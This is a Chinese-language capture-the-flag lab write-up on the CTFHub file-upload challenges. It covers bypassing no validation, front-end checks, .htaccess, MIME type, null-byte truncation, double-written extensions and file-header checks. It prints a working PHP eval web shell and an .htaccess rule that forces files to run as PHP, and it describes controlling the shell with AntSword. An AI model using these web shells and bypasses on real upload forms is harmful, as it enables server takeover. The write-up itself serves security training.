CTFHub |文件上传 (无验证, 前端验证, .haccess绕过, MIME绕过, 00截断, 双写后缀, 文件头检查)

CTFHub | 文件上传

  • 无验证

  1. 使用工具:中国剑蚁(D:\AntSword_Loader\AntSword-Loader-v4.0.3-win32-x64\AntSword.exe)

在下载这个工具的时候,浏览器拦截说有病毒。使用git clone下载。十分丝滑。

  1. 先上传文件a.php
<?php
@eval($_POST['hack']);
?>

页面回显文件被放在:/load/a.php中

  1. 打开中国剑蚁,右键添加数据,输入url(http://xxx.***/load/a.php), 输入‘连接密码’:hack, 点击添加。
  2. 打开数据条,遍历目录,发现flag文件。
  • 前端验证

  1. 查看网页源代码,发现js有对文件类型的验证。限制只能上传 .jpg .png .gif的文件。
  2. 对a.php改名:a.jpg,成功添加进文件。
  3. burpsuite抓包,修改filename为a.php,为了服务器那边能够以.php的形式运行它。
  4. 利用剑蚁工具,步骤同<无验证>这一题。
  5. 总结:先顺着js验证在前端上传文件,然后在赶在后端处理之前修改回去。
  • .ha***ess绕过

  1. 查看网页源代码,发现blacklist, 于是明白是.ha***ess绕过题, 先上传一个.ha***ess文件到服务器后端,配置成可以通过无后缀文件。
<FilesMatch "filename">
SetHandler application/x-httpd-php
</FilesMatch>
  1. 再按照<无验证>这一题的方法上传a.php文件。
  2. 迷惑? 这一题我第一次做的时候.ha***ess写错了,标签名字写成了FileMatch, 后续步骤一样,也能得到网页文件,但只有一个,且只有一行,写着错误的flag。奇怪。
  • MIME绕过

  1. 先上传文件a.php
  2. burpsuite抓包拦截,改Content-Type字段。
将:
Content-Type: application/octet-stream     # 告知以流文件形式下载文件,只知道这是二进制文件。
改成:
Content-Type: image/gif

注意:

这里有两个Content-Type字段,第一个用来限定文件显示范围的,第二个才是限定文件类型。

  1. <无验证>套路
  • 00 截断

php5.2 00截断上传的原理

文件上传绕过之00截断_00截断绕过-CSDN博客

  1. 迷惑?为什么直接在上传文件命名为a.php%00.gif提交后,页面提示上传成功,但是实际上没有?而且路径也变成/htm/upload/,这个路径十分奇怪啊。
  2. 解决办法:burpsuite抓包,改第一行路径,加上a.php%00.gif
  • 双写后缀

  1. 过滤策略:将白名单上的后缀替换为空。
  2. 构造特殊的文件名,如a.pasahp, 这样的话,经过替换,最终得到的文件是a.php。

这里很奇特的一点:我尝试构造a.phpphp,上传后的文件是a. 也就是说,两个php都被替换为空了。猜测这个str_ireplace()函数应该是设置一个指针,遍历整个字符串,边遍历便查找,一经找到就删除,继续往后查找,而不是找到第一个就删除并返回。

  1. 下同<无验证>
  • 文件头检查

  1. 第一种方法:按理来说应该也可以,上传也成功,但是出现不解的问题。

    1. 先提交一个.png文件(不宜太大,大了上传不了),burpsuite抓包,然后修改文件名为a.php,在文件内容里面(文件末尾)添加一句话木马。
    <?php @eval($_POST['hack']); ?>
    

    b. <无验证>

    c. 出现问题:剑蚁连接得上,但是返回{}空。

  2. 第二种方法:Winhex打开a.php文件。复制89504E47, 在文件开头>编辑>剪贴板数据>粘贴>ASCII Hex, 保存退出。直接上传a.php文件。<无验证>

转载请说明出处内容投诉
CSS教程_站长资源网 » CTFHub |文件上传 (无验证, 前端验证, .haccess绕过, MIME绕过, 00截断, 双写后缀, 文件头检查)

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买